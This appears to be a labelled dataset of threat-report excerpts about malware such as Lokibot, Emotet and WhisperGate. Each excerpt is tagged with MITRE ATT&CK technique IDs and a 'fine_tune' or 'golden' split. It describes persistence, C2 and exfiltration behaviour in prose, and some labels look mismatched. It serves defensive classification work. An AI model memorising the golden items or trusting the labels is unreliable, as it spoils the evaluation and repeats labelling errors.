"When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named “vmtoolsd.” Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name ‘MSASCuiLTasks’ in HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce for persistence","['T1057 - Process Discovery', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"When generating the URL for the HTTP requests issued to the C2 server, the Trojan chooses a random folder from the following to include within the URL path: watch/? search/? find/? results/? open/? search/? close/? XAgent also will choose several parameters names from the following list when finishing the construction of the C2 URL: itwm= text= from=","['T1071 - Application Layer Protocol', 'T1083 - File and Directory Discovery']",fine_tune
"When one PlugX succeeds to infect a host, it then accesses to every IP address in the local network one-by-one and communicate with any connectable nodes, using one of the following protocols listed in Table 2","['T1016 - System Network Configuration Discovery', 'T1008 - Fallback Channels']",fine_tune
"When the actor modifies the file and changes the modification_time, the Trojan downloads the contents from the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier in ‘f_id’> + “?alt=media” The Trojan processes the downloaded data within the file the same way it would to obtain a job from data received from the DNS tunneling channel using the TXT query mode, specifically by searching the data using the following regular expression: ([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>) The Trojan function splits the matching data, specifically the subdomain on a separator that is a character between r and v and uses the data before the separator to get the sequence number and a Boolean value (0 or 1) if more data is expected","['T1074 - Data Staged', 'T1041 - Exfiltration Over C2 Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1486 - Data Encrypted for Impact']",fine_tune
"While the seller specifies that HawkEye Reborn should only be used on systems with permission, they also explicitly forbid scanning of HawkEye Reborn executables using antivirus software, likely an attempt to minimize the likelihood that anti-malware solutions will detect HawkEye Reborn binaries.Following these changes, the new developer of HawkEye Reborn has continued to make changes and we expect this to continue as long as the developer can monetize their efforts.As with other malware that we wrote about last year, while the developer claims that the software should only be used on systems with permission, or ""for educational purposes,"" malicious attackers have been continuously leveraging it against various targets around the world.Distribution campaignsFor several months during the last half of 2018 and continuing into 2019, Cisco Talos has observed ongoing malicious email campaigns that are being used to distribute versions of the HawkEye Reborn keylogger/stealer","['T1518.001 - Software Discovery: Security Software Discovery', 'T1018 - Remote System Discovery']",fine_tune
"Year  Country  Industry  Malware  2014  Vietnam  Network Security  WINDSHIELD  2014  Germany  Manufacturing  WINDSHIELD  2015  Vietnam  Media  WINDSHIELD  2016  Philippines  Consumer products  KOMPROGO WINDSHIELD SOUNDBITE BEACON   2016  Vietnam  Banking  WINDSHIELD  2016  Philippines  Technology Infrastructure  WINDSHIELD  2016  China  Hospitality  WINDSHIELD  2016  Vietnam  Media  WINDSHIELD  2016  United States  Consumer Products  WINDSHIELD PHOREAL BEACON SOUNDBITE  Table 1: APT32 Private Sector Targeting Identified by FireEye APT32 Interest in Political Influence and Foreign Governments In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158",['T1203 - Exploitation for Client Execution'],golden
"After the handshake has been completed, the backdoor waits for a command, periodically pinging the C2 server. The response body from the C2 ping might hold the command and parameters (optionally). The updated Bisonal backdoor version maintains functionality similar to past backdoors built from the same codebase",['T1082 - System Information Discovery'],golden
"Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We then conducted a static analysis to examine Lokibot’s techniques and targets. The response for this request is a customized 404 page, which can also be detected using Suricata signatures provided on the Malpedia page cited above as well. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. The name of that registry key was the C2 URL.Figure 1 TLP: WHITE https://www.us-cert.gov/tlpThe compiler timestamp from the file header section was Oct 31, 2018, which is likely the date that the binary of this sample was compiled. This is a strong indication that the binary is a .NET library, because mscoree.dll and _CoreExeMain are primarily used to load .NET binaries. We determined that the binary was packed because we did not see the C2 URL or any signs of being an information stealer (such as an applications list) in the binary strings and resources. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"The malware decrypts the C&amp;C server domain and tries to connect to it. After the server accepts the connection, it sends a packet with the message ID = 0 and an empty payload to the client. In return, the malware collects information about the infiltrated computer and sends it back to the server in a response packet. This packet contains the following data",['T1041 - Exfiltration Over C2 Channel'],golden
"SPEAR found that El Machete relied on two primary means to achieve persistence: scheduled tasks and the startup folder. Scheduled tasks commonly used ‘HD_Audio’, ‘Java_Upda’, or ‘Microsoft_up’ as the task name and generally pointed to one of the executables below",['T1204.002 - User Execution: Malicious File'],golden
"Kimsuky is known for their complex infrastructure that uses free-registered domains, compromised domains, as well as private domains registered by the group",['T1583.001 - Domains'],golden
"The following file paths can be used to detect Tiny web shell, ChunkyTuna web shell, or Chisel if a network has been compromised by this attacker exploiting CVE-2019-19781","['T1083 - File and Directory Discovery', 'T1505.003 - Server Software Component: Web Shell']",golden
"Next, remove the attacker's certificate that was added to the system, using the Keychain Access application (certificate name: COMODO RSA Extended Validation Secure Server CA 2). Finally remove tor and socat via HomeBrew (i.e. brew rm FORMULA). If didn't have HomeBrew already installed - meaning the malware installed it, that can be removed as well. Honestly, if infected with OSX/Dok it's suggested you just fully re-install macOS","['T1090.003 - Proxy: Multi-hop Proxy', 'T1553.004 - Subvert Trust Controls: Install Root Certificate']",golden
"FALLCHILL uses fake Transport Layer Security (TLS) communications, encoding the data with RC4 encryption with the following key: [0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82]. FALLCHILL collects basic system information and beacons the following to the C2","['T1573.001 - Symmetric Cryptography', 'T1082 - System Information Discovery', 'T1001.003 - Protocol or Service Impersonation']",golden
"The module attempts to check if the extracted data is related to Microsoft Office or MS.Outlook. Autodiscover.xml” is a dynamically generated file that contains the data Microsoft Outlook needs to access the mailbox entered in the configuration wizard. The primary purpose of the Exchange Autodiscover service is to establish initial connections to Exchange user mailboxes. It then attempts to collect the AutoDiscover SMTP address of the dedicated exchange forest, and eventually puts all the extracted data in a variable called “text",['T1059.007 - Command and Scripting Interpreter: JavaScript'],golden
"DarkWatchman runs through a standard set of operations on startup, and then continues to loop through a smaller group of functions on a regular basis to feed information back to the C2 server and get new commands. When initially executed by the scheduled task, DarkWatchman checks the registry for an autostart JavaScript snippet and if one exists evaluates it","['T1124 - System Time Discovery', 'T1120 - Peripheral Device Discovery']",golden
"First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target. It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload. The in-memory code uses Living Off the Land Binaries (LOLBINs) to evade detection and also performs anti-analysis techniques, as it will fail to detonate when certain monitoring tools exist. At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe. Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note",['T1518.001 - Software Discovery: Security Software Discovery'],golden
This program allows you to execute applications on remote systems without installing any client software. You can start a command prompt or just execute a command or exe on a remote machine,['T1569.002 - System Services: Service Execution'],golden
"Armed with boundless ambition and abundant resources, they looked over their options and picked… Cobalt Strike. Possibly it was meant to make attribution harder, and we can’t rule out the use of higher-tier payloads for higher-tier targets",['T1140 - Deobfuscate/Decode Files or Information'],golden
The second stage payload is shellcode that is embedded as a base64 encoded string array inside the macro that is decoded by using CryptStringToBinaryW (fig. 5). Other variants have used the UuidFromStringA function to decode the embedded payload and write it to an executable Heap,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
"At this point, the script establishes an HTTP connection to the C2 server. If instead the server responds with any data other than the GUID, the second-stage script decrypts the data and saves it as a file. In both variants of the second-stage script, the payload is a DLL with a .SYS extension and saved in the %windir%\system32\drivers folder",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Collect file/folder/drive information - Download files and additional malware - Launch/terminate/enumerate process - Update configuration data - Delete files - Inject code from files to other running process - Utilize proxy - Open reverse shell - Run in passive mode — instead of actively connecting to the command and control (C&amp;C) server, the backdoor will open and listen to a port then receive commands through it","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1055 - Process Injection']",golden
"CookieMiner adopts techniques from the Google Chromium project’s code for its decryption and extraction operations and abuses them. Google Chromium is an open-source version of the Google Chrome browser. By abusing these techniques, CookieMiner attempts to steal credit card information from major issuers, such as Visa, Mastercard, American Express, and Discover (Figure 3). The user’s saved login credentials are also stolen, including usernames, passwords, and the corresponding web URLs (Figure 4",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Since September of 2018, Redaman banking malware has been distributed through malspam. In this campaign, the Russian language malspam is addressed to Russian email recipients, often with email addresses ending in .ru. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz",['T1204.002 - User Execution: Malicious File'],golden
"The code randomly selects the filename of an executable or DLL file located in C:\Windows\system32. It will then query its resources and extract the FileDescription field to use as a folder name. If this does not work, the code randomly chooses a folder name from the %ProgramFiles% or C:\Windows (from GetWindowsDirectoryW) directories. It avoids using a name that may clash with existing files by making sure it does not contain: windows, Microsoft, desktop, system, system32 or syswow64",['T1569.002 - System Services: Service Execution'],golden
"Just to highlight its capabilities, TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue. It can also request to steal a particular file from a previously seen USB stick; next time the USB is connected to the computer, the file will be stolen","['T1115 - Clipboard Data', 'T1020 - Automated Exfiltration']",golden
"The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. XMRIG is a popular, open-source Monero-mining tool that adversaries can easily compile into custom tooling. During the incidents, we noted three distinct uses","['T1588.002 - Tool', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",golden
"If the malware identifies a file named “mreb.xml” or a folder named “mreboot”, it loads a malicious “ssleay64.dll”, also written in Delphi, compiled by Borland Delphi, which has the following characteristics",['T1057 - Process Discovery'],golden
The latest variant of the Zeroaccess Trojan—Trojan.Zeroaccess.C—makes use of a novel technique to store its malicious content: it exploits a feature provided by the NT File System called Extended Attributes (EA,['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
"Since its arrival, there have been several variants of the Conficker worm. They can all be referred to as the Conficker family of malware. These variants have improved upon Conficker's code and have been released in response to attempts to stop or remove Conficker's infestation. It should also be noted that Conficker.D does not spread by attacking new systems and just updates existing Conficker.C infected machines. See Appendix B, which contains a listing of links to Microsoft's Security Portal Threat Encyclopedia, for a full discussion of the variants of Conficker",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
"28 Apr 2020 - 11:30AM . Another in our occasional series demystifying Latin American banking trojans . In this installment of our series, we introduce Grandoreiro, a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. The authors of Grandoreiro seem to be developing the banking trojan very rapidly, as we observe at least several new versions each month. The spam emails appear to contain a link pointing to a website offering fake Flash or Java updates (see Figure 5). Notice the red arrow in lower left corner tailored for the Google Chrome web browser, but displayed in other browsers too. The images shown in Figure 10 come from three different builds of Grandoreiro. Self-protection &amp; anti-emulation . For a Latin American banking trojan, Grandoreiro utilizes a surprisingly large number of tricks to evade detection and emulation. Diebold Warsaw GAS Tecnologia and Trusteer are known banking access protection software popular in Latin America. Simple BAT script used by Grandoreiro to change Trusteer file path in hopes of making it unable to execute . Besides that, it also monitors hooks on important functions. List of configuration files used by Grandoreiro’s spam tool . As you can see, the tool is not fully automated, but relies completely on the configuration data. Its implementation shows similarities with the Grandoreiro banking trojan, which is why we believe it was written by the same authors. Indicators of Compromise (IoCs) . Hashes . Grandoreiro banking trojan . Grandoreiro Win32 downloaders . Grandoreiro spam tool . Windows Registry . - HKCU\Software\%USER_NAME% - HKCU\Software\ToolTech-RM User-Agent . - h55u4u4u5uii5 Filenames . - - MDL_YEL_01.dll - MDL_BLU_BR_02.dll - MDL_SIC_BR_03.dll - MDL_SANT_BR_04.dll - MDL_ITA_BR_05.dll - MDL_BRADA_BR_06.dll - MDL_SICCB_BR_07.dll - MDL_SAFRA_BR_08.dll - MDL_ORIGI_BR_09.dll - MDL_NORDES_BR_10.dll - MDL_BANEST_BR_11.dll - MDL_BANEZE_BR_12.dll - MDL_AMAZON_BR_13.dll - MDL_UNICRE_BR_14.dll - MDL_BRB_BR_15.dll - MDL_WUPDATE_BR_001.dll * %INSTALL_DIR% is the path where Grandoreiro is installed . MITRE ATT&amp;CK techniques . Further reading . 28 Apr 2020 - 11:30AM . Sign up to receive an email update whenever a new article is published in our Ukraine Crisis – Digital Security Resource Center . Newsletter . Similar Articles . How Emotet is changing tactics in response to Microsoft’s tightening of Office macro security . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies – it just gets more targeted . Anatomy of native IIS malware . Discussion . - Home - About Us - Contact Us - Sitemap - Our Experts - ESET - Research - How To - Categories - RSS Configurator - News Widget",['T1185 - Browser Session Hijacking'],golden
"Generate a particularly timed beacon that communicates over HTTP - Drop the command line Chinese language version of winrar on the target - Replace sticky keys with cmd.exe for persistence and access via RDP - Turn on RDP if it's not already enabled - Index and archive all office documents, compress and encrypt them with RAR and a specific password and store them in the recycle bin - Enable the support_388945a0 account and add it to the local admin group - Exfiltrate the data encoded over port 443 (but not SSL) - Setup an insecure service for persistence / privilege escalation",['T1098 - Account Manipulation'],golden
A recent lull in the distribution of spam linking to the malicious downloader Hancitor has been snapped as researchers warn of new campaigns,"['T1204.001 - Malicious Link', 'T1027 - Obfuscated Files or Information']",golden
"Its third function related to RDP uses the CredEnumerateA API to identify and steal saved credentials. It then parses the string “target=TERMSRV” to identify the hostname, username, and password saved per RDP credential",['T1056.004 - Input Capture: Credential API Hooking'],golden
"The devices used in the DarkVishnya attacks varied in accordance with the cybercriminals’ abilities and personal preferences. In the cases we researched, it was one of three tools",['T1588.002 - Tool'],golden
"C2 commands are represented as seemingly random alphanumerical ASCII strings (e.g. KbwUQrcooAntqNMddu4XRj”) that are unique to each implant but known to the C2 server. These dynamic updates to Goldmax configuration data enable ability to set a new activation date, replace the existing C2 URL and User-Agent values, enable/disable decoy network traffic feature, and update the number range used by its PRNG",['T1041 - Exfiltration Over C2 Channel'],golden
"To ensure the file has been successfully uploaded to Dropbox, BoomBox utilizes a set of regular expression values to check the HTTP response from Dropbox. As shown below, the regular expressions are used to check the presence of the is_downloadable, path_lower, content_hash, and size fields (not their values) in the HTTP response received from Dropbox. Notably, BoomBox disregards the outcome of this check and proceeds, even if the upload operation is unsuccessful",['T1480 - Execution Guardrails'],golden
"Earlier, we mentioned that previous attacks were apparently delivered over two spear phishing emails, with the first only being used for reconnaissance. In the latest cases we only observed a single document being sent to the targets, with reconnaissance, exploitation, and payload delivery happening on the first attempt",['T1566.001 - Phishing: Spearphishing Attachment'],golden
"On one hand, Egregor has a similar strategy to other ransomwares, as it exfiltrates data, encrypts files and publishes them on its website in order to make victims pay the ransom. It is active since the beginning of September 2020 and impacts many sectors from insurance to transport. Its goal is lucrative",['T1105 - Ingress Tool Transfer'],golden
"Command execution: The execution is performed by the ShellExecuteW() API - Listing the running processes - Cleaning the malware: The malware first removes the registry key of the service and removes the library. As the library is currently running, the deletion cannot be performed immediately","['T1057 - Process Discovery', 'T1112 - Modify Registry']",golden
"The APT-C-43 organization is good at launching attacks using phishing emails, and deploys the backdoor program Pyark (Machete) written in python after invading the victim’s machine","['T1059.006 - Command and Scripting Interpreter: Python', 'T1059.006 - Command and Scripting Interpreter: Python']",golden
"The malware is distributed via social engineering techniques, which includes spear-phishing emails and infections via Web by a fake Blog website",['T1189 - Drive-by Compromise'],golden
"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. Within each of the HTML-formatted messages, an embedded image tag is used to beacon home to the attacker's domain, containing an unique identifier specific to the recipient. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory. Conclusion . The addition of US-based think tanks to the list of organizations in the crosshairs of Patchwork shows an increasing diversity in the geographic regions being targeted",['T1566.001 - Phishing: Spearphishing Attachment'],golden
"The PowerShell script executes a compressed first stage PowerShell child process, which then performs a second stage PowerShell process. The latter PowerShell injects a shellcode into its own process using well-known CreateThread and VirtualAlloc techniques",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"Emotet gets an initial foothold on a victim machine or network by sending an email containing either a malicious link that leads to a downloader document or that has a malicious document attached. Anti-analysis tactics have been present in Emotet since at least 2015 and, in 2018, Emotet’s payload consists of a packed file containing the main component and an anti-analysis module. Either PowerShell or JavaScript is used to download the Trojan, which delivers a packed payload file to the victim machine. Once on a machine, the latest version of Emotet","['T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"Being able to gather these configuration files allowed us to map the network infrastructure of Trickbot. The main module uses its list of hardcoded C&amp;C servers and connects to one of them to download a second list of C&amp;C servers, the so-called psrv list. The main module contacts this second layer of C&amp;C servers to download the default plugins specified in the hardcoded configuration file. Other modules can be downloaded later upon receiving a command to do so from the Trickbot operators. The most prevalent of them are so-called dpost servers, used to exfiltrate stolen data such as credentials but, as detailed in the Appendix, others exist. Figure 5 illustrates this initial communication process",['T1057 - Process Discovery'],golden
The driver was not signed and used the same DSE exploit that the Pandora backdoor uses for it to load,"['T1105 - Ingress Tool Transfer', 'T1068 - Exploitation for Privilege Escalation', 'T1553.006 - Subvert Trust Controls: Code Signing Policy Modification']",golden
"The malware installs itself via crontab (list of commands that are run on a regular schedule) to its target machine, as shown below",['T1053.003 - Scheduled Task/Job: Cron'],golden
"TClient is actually one of Tropic Trooper’s other backdoors. The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance. TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018. The image and table below illustrate TClient’s encrypted configuration that we decrypted (via Python code",['T1027 - Obfuscated Files or Information'],golden
"In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette","['T1105 - Ingress Tool Transfer', 'T1204.001 - Malicious Link']",golden
"Although the C2 traffic is secured by SSL/TLS, Karagany also encrypts and encodes the packet payloads before transmission to its C2 server using the AES-128-CBC algorithm and a pseudo-randomly generated initialization vector (IV) (see Figure 3",['T1573.002 - Asymmetric Cryptography'],golden
"This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network",['T1102 - Web Service'],golden
"Sliver is designed to be an open source alternative to Cobalt Strike. Sliver supports asymmetrically encrypted C2 over DNS, HTTP, HTTPS, and Mutual TLS using per-binary X.509 certificates signed by a per-instance certificate authority and supports multiplayer mode for collaboration","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1071.004 - Application Layer Protocol: DNS']",golden
"PACT analysts found it particularly novel the way that DarkWatchman utilizes the registry: as a way to communicate between abstracted threads of operation, and as both persistent and temporary storage. It would appear that the authors of DarkWatchman identified and took advantage of the complexity and opacity of the Windows Registry to work underneath or around the detection threshold of security tools and analysts alike. In PACT’s analysis, this (along with DarkWatchman’s persistence and self-compilation mechanisms that make use of LOLbins) represents an important step in the evolution of threat actor TTPs on Windows systems",['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],golden
"Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH","['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1003.001 - OS Credential Dumping: LSASS Memory']",golden
"BIFROSE, known for evading detection by communicating with its C&amp;C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices. KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain. KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs",['T1083 - File and Directory Discovery'],golden
"As we reported in earlier blog posts, the threat actor NOBELIUM recently intensified an email-based attack that it has been operating and evolving since early 2021. In this blog, we highlight four tools representing a unique infection chain utilized by NOBELIUM: EnvyScout, BoomBox, NativeZone, and VaporRage. These tools have been observed being used in the wild as early as February 2021, attempting to gain a foothold on a variety of sensitive diplomatic and government entities",['T1566.001 - Phishing: Spearphishing Attachment'],golden
The recent instances we have observed were spread through emails with malicious links. Clicking the link leads to the download of a zip containing a VBS file (detected as Trojan.VBS.QAKBOT.SM) that then downloads a malicious executable file (detected by Trend Micro as Backdoor.Win32.QBOT.SMTH,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
"The components of the dropper package are executed in a number of steps; each stage involves a heavy dose of code obfuscation that is designed to shield the malware from detection. To lead researchers and anti-malware software further astray, some garbage code is also included",['T1027.001 - Obfuscated Files or Information: Binary Padding'],golden
Function Document_Open first calls the Main function to download binary data from hxxp://diangovcomuiscia.com/media/a.jpg and save as %AppData%\1.exe (MD5: ef9f19525e7862fb71175c0bbfe74247,['T1105 - Ingress Tool Transfer'],golden
"Cicada has historically been known to target Japan-linked organizations, and has also targeted MSPs in the past. The group is using living-off-the-land tools as well as custom malware in this attack campaign, including a custom malware - Backdoor.Hartip - that Symantec has not seen being used by the group before",['T1027 - Obfuscated Files or Information'],golden
"Interestingly, some of the custom tools described in Palo Alto Networks’ 2017 blogpost on Gamaredon are still being updated and in use today. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors",['T1105 - Ingress Tool Transfer'],golden
"To finalize, the script attempts to install reboot persistence for the trojan binary by adding it to /etc/rc.local","['T1574.006 - Hijack Execution Flow: LD_PRELOAD', 'T1037.004 - Boot or Logon Initialization Scripts: Rc.common']",golden
"All of these tools, with the exception of Mimikatz (which is almost always used maliciously), have legitimate uses. For example, PowerShell is widely used within enterprises and the vast majority of scripts are legitimate. Similarly, PsExec is frequently used by systems administrators. However, in this case, it was Thrip’s use of PsExec that drew our attention. Through advanced artificial intelligence and machine learning, TAA has trained itself to spot patterns of malicious activity. While PsExec itself may be innocuous, the way that it was being used here triggered an alert by TAA. In short, Thrip’s attempts at camouflage blew its cover",['T1588.002 - Tool'],golden
"TSCookie communicates to C&amp;C servers using HTTP protocol and downloads “a module” and “a loader” for loading the module. The malware has an encrypted DLL file in its resource. When the malware is executed, the DLL file is loaded and executed on memory. The DLL file performs main functions such as communicating with C&amp;C servers. Also, some samples launch another process and inject decrypted DLL file. The malware has configuration information encrypted with RC4, including C&amp;C server information",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to "".exe. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019","['T1566.001 - Phishing: Spearphishing Attachment', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",golden
"Here they logged into the target system and used remote access software to retain access. Next, malicious services created using msfvenom were started on the compromised computer. Because the hackers used fileless attacks and PowerShell, they were able to avoid allowlisting technologies and domain policies. If they encountered a allowlisting that could not be bypassed, or PowerShell was blocked on the target computer, the cybercriminals used impacket, and winexesvc.exe or psexec.exe to run executable files remotely",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"Its sole purpose is to load setup.dll using LoadLibraryA. setup.exe is executed without arguments by the RARSFX, and checks whether it’s running with elevated privileges. If not, it will attempt to obtain such privileges using token impersonation if the version of Windows is below Windows 7 build 7601; otherwise it will attempt different UAC bypass techniques, allowing installation of the payload loader into one of",['T1134.002 - Create Process with Token'],golden
"In 2020 Pawn Storm spread simple Google Drive and IMAP Remote Access Trojans (RATs) to attack their usual targets, such as ministries of foreign affairs, embassies, the defense industry and the military. Recently, Norwegian authorities announced that Pawn Storm hacked the Norwegian parliament through brute force attacks",['T1110 - Brute Force'],golden
"Once OSX/Dok infection is complete, the attackers gain complete access to all victim communication, including communication encrypted by SSL. This is done by redirecting victim traffic through a malicious proxy server",['T1543.001 - Create or Modify System Process: Launch Agent'],golden
The Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA). This malware has been identified as WELLMAIL. Advanced persistent threat (APT) groups have been identified using this malware. The files are a variant of the WellMail implant,['T1571 - Non-Standard Port'],golden
"Written in Go, GoldMax acts as command-and-control backdoor for the actor. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running",['T1027 - Obfuscated Files or Information'],golden
"In this version, a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
The original JS file has been detected as JS/Nemucod.F436. tr and the downloaded Emotet exe has been detected as W32/GenKryptik.ADJR,['T1560 - Archive Collected Data'],golden
"We have found a sample crypted by the CryptOne crypter as used by WastedLocker, which is capable of detecting/disabling a list of security software. It is believed that this tool is used during ransomware deployment, but we have no specific evidence that it was used by Evil Corp. However in the past we have seen execution of commands listed in the tool to disable Microsoft Windows Defender",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. TG-3390 has used additional web shells containing similarly formatted passwords,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
2) The sample with less functionality needs to read and decrypt the stored registry values in order to communicate with the C&amp;C or to inject to svchost,['T1012 - Query Registry'],golden
"Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server. The tunneling protocol transmits data by sending a series of DNS queries with the data within the subdomain of the C2 domain. The following shows the specific IP addresses or strings used by the C2 to transmit a success or cancel message depending on the type of DNS query used for C2 communications","['T1016 - System Network Configuration Discovery', 'T1132.001 - Data Encoding: Standard Encoding']",golden
"Emissary parses command and control responses for ""instru"", which will precede a GUID value that designates the command the C2 server wishes to execute on the system. Emissary can include up to 32 different commands within this data structure, but it appears the author has decided to include six commands within the Trojan. The following denotes the command handler structure used by Emissary v1.0","['T1007 - System Service Discovery', 'T1069.001 - Permission Groups Discovery: Local Groups', 'T1016 - System Network Configuration Discovery']",golden
"During our analysis we found similarities between Ferocious Kitten and other threat groups, namely Domestic Kitten and Rampant Kitten, both in terms of their TTPs and victims. Like Domestic Kitten, Ferocious Kitten has used the same set of C2 servers over long periods of time and shows the same URL patterns for C2 communication using only three letters such as “updatei[.]com/fff/” or “updatei[.]com/fil","['T1583.001 - Domains', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",golden
"First, Wastedlocker decrypts the strings which are stored in the .bss section and then calculates a DWORD value that is used later for locating decrypted strings that are related to the encryption process. This is described in more detail in the String encryption section. In addition, the ransomware creates a log file lck.log and then sets an exception handler that creates a crash dump file in the Windows temporary folder with the filename being the ransomware’s binary filename",['T1543.003 - Create or Modify System Process: Windows Service'],golden
"We not only found the initial entry point, but we were able to follow Seedworm’s subsequent activity after the initial infection due to the vast telemetry Symantec has access to via its Global Intelligence Network. DeepSight MATI customers can leverage these unique insights to combat emerging cyber threats",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
